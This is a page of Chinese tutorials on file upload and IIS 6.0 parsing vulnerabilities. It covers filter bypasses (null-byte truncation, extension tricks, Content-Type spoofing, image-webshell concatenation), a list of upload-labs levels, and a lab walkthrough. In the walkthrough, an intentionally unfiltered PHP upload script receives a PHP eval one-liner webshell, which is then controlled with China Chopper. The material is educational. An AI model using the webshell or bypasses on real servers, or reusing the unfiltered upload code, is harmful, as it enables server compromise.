精华内容
下载资源
问答
  • 文件上传漏洞

    万次阅读 多人点赞 2018-09-29 20:05:03
    文件上传漏洞 文件上传的过滤 上传文件过滤的绕过 上传html文件 文件上传的防御 upload-libs 文件上传漏洞 文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,...

    目录

    文件上传漏洞

    文件上传的过滤

    上传文件过滤的绕过

    上传html文件

    文件上传的防御

    upload-libs


    文件上传漏洞

    文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。

    文件上传漏洞条件:

    • 上传的文件能被Web服务器当做脚本来执行
    • 我们能够访问到上传文件的路径

    服务器上传文件命名规则:

    • 第一种:上传文件名和服务器命名一致
    • 第二种:上传文件名和服务器命名不一致(随机,时间日期命名等),但是后缀一致
    • 第三种:上传文件名和服务器命名不一致(随机,时间日期命名等),后缀也不一致

    漏洞成因:由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。打个比方来说,如果你使用 php 作为服务器端的脚本语言,那么在你网站的上传功能处,就一定不能让用户上传 php 类型的文件,否则他上传一个木马文件,你服务器就被他控制了。因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

    一般我们会利用文件上传漏洞上传一句话木马,然后用菜刀连接获取 webshell。但是这里有两个问题:

    • 第一你的文件能上传到web服务器
    • 第二你的文件能被当成脚本文件执行,所以要想让上传文件被当成脚本执行,我们经常会和文件包含漏洞文件解析漏洞一起利用

    文件上传的过滤

    根据前后端代码、中间件、系统特性去绕过

    1. 前端脚本检测文件扩展名。当客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,前端的 js 脚本就对文件的扩展名进行检测来判断是否是可以上传的类型
      #前端脚本检测,只允许上传 .jpg格式的文件
      <script type="text/javascript">
      	function selectFile(fnUpload) {
      		var filename = fnUpload.value; 
      		var mime = filename.toLowerCase().substr(filename.lastIndexOf(".")); 
      		if(mime!=".jpg") 
      		{ 
      			alert("请选择jpg格式的照片上传"); 
      			fnUpload.outerHTML=fnUpload.outerHTML; 
      		}
      	}
      </script>
    2. 后端脚本检测文件扩展名,数据提交到后端,后端的函数对上传文件的后缀名进行检测,比如黑名单检测不允许上传 .php 、.asp 后缀格式的文件;白名单检测只允许上传 .jpg 格式的文件
      #后端php检测
      $info=pathinfo($_FILES["file"]["name"]);
          $ext=$info['extension'];// 得到文件扩展名
          if (strtolower($ext) == "php") {   #黑名单检测,不允许上传php格式的文件
                  exit("不允许的后缀名");
                }       
    3. 后端通过对上传文件的 Content-Type 类型进行黑白名单检测过滤 
      #后端对上传文件的 Content-Type类型进行检测,只允许上传 image/gif、image/jpeg、image/pjpeg格式的文件
      if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg") 
          && ($_FILES["file"]["type"] != "image/pjpeg")){
          exit($_FILES["file"]["type"]);
          exit("不允许的格式");
    4. 通过函数比如 getimagesize()  函数检测你上传的图片的大小是否是正常的图片大小,防止上传一句话木马。通过分析图片头部来判断这个是不是一个有效的图片格式,比如 jpg 格式图片头部是 JFIF ,gif头部是GIF89a,png头部是%PNG
      #后端检测上传的文件是否是正常大小的图片
      if(!getimagesize($_FILES["file"]["tmp_name"])){
              exit("不允许的文件");
            }

    注意:在生产环境中的过滤,往往是这些方法都会结合的,而不只是单单的某一个过滤方法。生产环境中的过滤是很严格的

    上传文件过滤的绕过

    • 对于第一种前端脚本检测过滤,上传的时候上传 jpg 后缀的文件,然后用butpsuite进行抓包修改为.php的即可绕过。
    • 对于第二种后端过滤,如果是后端黑名单过滤的话,我们可以想尽任何办法绕过黑名单进行上传。比如如果目标服务器是windows系统的话,我们可以利用windows系统的解析漏洞,用burpsuite抓包,将文件名后缀改为 .php. 或者 .php ,因为在windows系统内是不允许文件以 . 或者空格结尾的。所以在绕过上传之后windows系统会自动去掉 点和空格。所以,该文件最终还是会被解析成 .php 。或者还可以将php三个字母变换大小写,因为在windows系统里面是不区分大小写的。如果是白名单检测的话,我们可以采用00截断绕过。00截断利用的是php的一个漏洞。在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在存储文件的时候,当函数读到 0x00(%00) 时,会认为文件已经结束。
      例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。
    • 对于第三种过滤,可以使用burpsuite进行抓包修改 Content-Type 类型
    • 对于第四种过滤,可以将一句话木马写入到正常的图片中:copy  /b  1.jpg+1.php  2.jpg 。然后在利用burpsuite修改后缀为 .php ,或者利用文件包含漏洞或者文件解析漏洞,将其解析成 php脚本即可
    • 还有其他的过滤,比如多文件上传时,有时服务器只对第一个上传的文件进行了检查,这时通过上传多个文件并将恶意文件掺杂进其中也可绕过服务器的过滤。

    00截断实验:http://ctf5.shiyanbar.com/web/upload/

    这个实验对用户上传文件是这样处理的,首先会对用户上传文件的后缀名进行检测,只能上传 jpg/gif/png 格式的文件,然后会对上传后的文件路径进行判断,如果是以 php 为后缀的就会返回flag,如果是以 jpg/gif/png 为后缀就会显示存储路径为固定的:./uploads/8a9e5f6a7a789acb.php 。

    上传html文件

    有很多网站采用黑名单的过滤机制,但是他们忘记了过滤 html 文件,这就造成了上传html文件形成存储型XSS。

    文件上传的防御

    1. 客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等
    2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等
    3. 服务器端上传目录设置不可执行权限
    4. 检查网站有没有文件解析漏洞和文件包含漏洞
    5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名

    upload-libs

    upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。upload-libs的项目地址:https://github.com/c0ny1/upload-labs

    以下是这20关的考点思路:

    1: 前端js限制文件后缀,抓包修改进行绕过
    2: 后端检测Content-Type类型,抓包修改Content-Type进行绕过
    3: 后端黑名单限制,禁止上传asp、aspx、php、jsp后缀的文件,可以上传php2进行绕过
    4:	后端黑名单限制,禁止上传了很多后缀的文件。我们可以上传.htaccess文件,
    5:  后端黑名单限制,但是只过滤了小写后缀的文件,于是我们可以将文件后缀大写
    6: 后端黑名单限制,可以利用windows系统特性,利用空格进行绕过
    7: 后端黑名单限制,可以利用windows系统特性,利用.进行绕过
    8: 后端黑名单限制,可以利用windows+php系统特性,利用 ::$DATA 进行绕过
    9: 后端黑名单限制,可以利用windows系统特性,利用.空格. 进行绕过
    10: 后端黑名单限制,可以 双写后缀名 进行绕过
    11: 后端白名单限制,需结合特定环境利用 00截断 绕过
    12: 后端白名单限制,需结合特定环境利用 00截断 绕过
    13: 后端检测上传文件的开头两个字节,制作图片马,利用服务器的文件包含漏洞
    14: 后端检测上传文件的大小,制作图片马,利用服务器的文件包含漏洞
    15: 后端检测图片类型,制作图片马,利用服务器的文件包含漏洞
    16: 后端对上传文件做二次渲染,利用二次渲染绕过
    17: 条件竞争
    18: 条件竞争
    19: ./ 绕过
    20: 数组/.绕过

    关于upload-libs的详情做法:upload-labs  ,这个文章总结的很好

    相关文章:Getshell | 文件上传绕过整理

                      上传绕过整理上传绕过整理

                      文件包含漏洞

                      文件解析漏洞

                      DVWA之File Upload (文件上传漏洞)

     

    展开全文
  • ctf-web:文件上传漏洞和文件解析漏洞

    万次阅读 2020-10-11 21:13:56
    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一...文件上传漏洞 这个漏洞产生的原因是因为上传文件的不严谨所产生的.比如我恶意上传了一个一句话木马,但是服务器没有进行对文件的过滤,就会将.

    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一个关于这两个方面的内容的实际操作以及原理介绍.
    其实我一直想学的就是web渗透,但是一直都不知道web渗透都有什么后来才知道居然就是sql注入,还有这几个漏洞的利用就是web渗透…这不就是我好几年前看的东西么…
    当然,其实我也学的不是很精通,只是稍微会一点,就不夸夸其谈了.
    先说说这两个漏洞的区别.
    一.文件上传漏洞
    这个漏洞产生的原因是因为上传文件的不严谨所产生的.
    比如我恶意上传了一个一句话木马,但是服务器没有进行对文件的过滤,就会将上传的文件存放在服务器,这样是十分危险的.并且一般和后面的文件解析漏洞配合在一起使用.
    二.文件解析漏洞
    这个漏洞是由于服务器的原因造成的,就比如我们一会儿要举例的iis6.0服务器就有这个漏洞.
    简单来说,在iis6.0服务器上,如果服务器有一个"xxx.asp"文件夹,那么就会将这个文件下面的所有文件都当成一个asp脚本去执行.

    想想看,如果我们上传了一个删除系统数据库的病毒文件上去,然后又被解析成了某种语法去执行,是不是后果很可怕?
    因此,我会特地去讲一下这个东西的如何去实现的.后面我会把网站的源码附上.很多服务器都存在这个漏洞,我这里就介绍iis6.0的文件解析漏洞,想看其他的服务器的漏洞可以去百度一下.
    工具的话我把名字发上来,自己去找一下.
    实验环境:虚拟机win2003一台,软件phpstudy,中国菜刀

    一.iis6.0服务器的文件解析漏洞

    前面已经说过,iis6.0的漏洞就是会把xxx.asp文件夹下的文件都当作asp文件执行,我们试试便知.
    win2003都会自带iis6,因此直接安装就好,安装教程我就不发了,百度有.
    如图,此刻已经是安装好的.记得点到web的选项,按照图中进行配置.
    在这里插入图片描述
    此刻我们已经搭建网站成功.用主机输入服务器ip即可进行访问.由于我之前搭建phpstudy占用了80端口,我就把端口改成了82.你们在做的时候应该是不需要这一步的.
    在这里插入图片描述
    配置好以后,点击网站,然后右键那个默认网站,点击停用.
    在这里插入图片描述
    之后右键网站->新建->网站,新建一个自己的网站.我的已经建好了,就不做多余的演示了
    在这里插入图片描述

    需要注意的是,在新建网站的时候,有个运行脚本的选项要选上.如图
    在这里插入图片描述

    在这个里面点击右键,添加一个文件,和文件夹,文件名字叫做"index.html",文件夹名字随便起一个以.asp结尾的即可,我的是wzc.asp.然后在文件夹里面新建一个文件,名字随便起一个,比如1.txt.
    在这里插入图片描述
    在这里插入图片描述
    然后在这两个新建的1.txt和index.html都写入以下的内容:

    <%
    response.write("My first ASP script!")
    %>
    

    为什么要这么建文件呢?其实就是为了验证这个漏洞的.上面的代码是asp的语法,在屏幕上显示一句话.
    如果文件被解析成了asp文件,那么就会只显示引号里面的内容.
    如果没有的话,就直接把所有内容都显示出来.
    因此.我们新建了这两个文件用来验证.

    验证一:访问非asp文件夹下的文件(我的端口是81)

    也就是网站的主页.我用主机进行访问时,页面显示的是这样的:
    在这里插入图片描述
    看,是不是直接把文件当成了一个txt文本显示了出来?

    验证二:访问以.asp结尾文件夹下的文件

    访问结果如图:
    在这里插入图片描述
    果然,我们的代码被当成了asp脚本执行了.由此验证,我们的iis6.0确实存在这个漏洞.

    二.文件上传漏洞和文件解析漏洞的结合使用

    文件上传漏洞产生的原因就不像上一个是因为服务器产生的了,而是因为程序员的不严谨而产生的.
    在一些允许上传文件的网站中,编写php后台脚本时,不会对文件近进行检查,所以有一些黑客会利用这个上传一个叫"一句话木马"的脚本.
    这种脚本属于木马,当上传成功以后,在攻击者的电脑使用比如"中国菜刀"之类的软件进行连接,最终为所欲为.
    当然,中国菜刀属于比较落后的软甲,比较先进的有冰蝎等软件.有兴趣可以百度.
    由此可见,这种漏洞的危害性是非常大的.下面我会演示一下这个过程.

    过程实现

    首先安装phpstudy,然后在你的服务器下添加下面两个网站.源码发在下面.
    文件一:upload-file.html

    <html>
    <head>
     <title> 文件上传之解析漏洞~php</title>
     </head>
    <body>
    
    <form action="upload.php" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="提交" />
    </form>
    
    </body>
    </html>
    

    文件二:upload.php

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
     
    ?>
    

    放在如图的位置.
    在这里插入图片描述
    远程访问以下,发现成功.
    在这里插入图片描述
    我们随便上传一个php文件.
    在这里插入图片描述
    …连点防御都没有(从那个php代码就可以看出,不过我是从攻击者的角度出发的,由此可证明这个php代码有文件上传的漏洞).
    如图,在服务器下有个upload文件,里面就是我们上传的文件.
    在这里插入图片描述
    这个php一句话木马只是用来测试的,是为了看看能不能上传成功.现在我把一句话木马源码奉上.

    <?php eval($_POST["wzc"]);?>
    

    这段代码的原理我就不解释了.目的是为了方便使中国菜刀进行连接.你需要修改的使引号里面的内容,这个是后面中国菜刀连接是的密码.
    如图,这个是我的中国菜刀的界面,按照图中的方式配置.
    在这里插入图片描述
    上面把你的一句话木马的网站上的路径填上.我当时为了方便,把名字改成了"1.php".后面的空填刚刚的密码,下面记得选择php(eval)代码类型.连接以后,右键文件管理,会产生如图的效果.
    在这里插入图片描述
    看,现在我们就进到服务器里面了,接下来想怎么搞就怎么搞了.

    好了,就写这么多吧.
    剩余的也懒的想了,如果还想继续看一些东西的话,可以关注我,我后续会发一些比如数据库注入,软件破解之类的东西.
    有兴趣的可以加我qq:1392969921

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,041
精华内容 2,416
关键字:

文件上传漏洞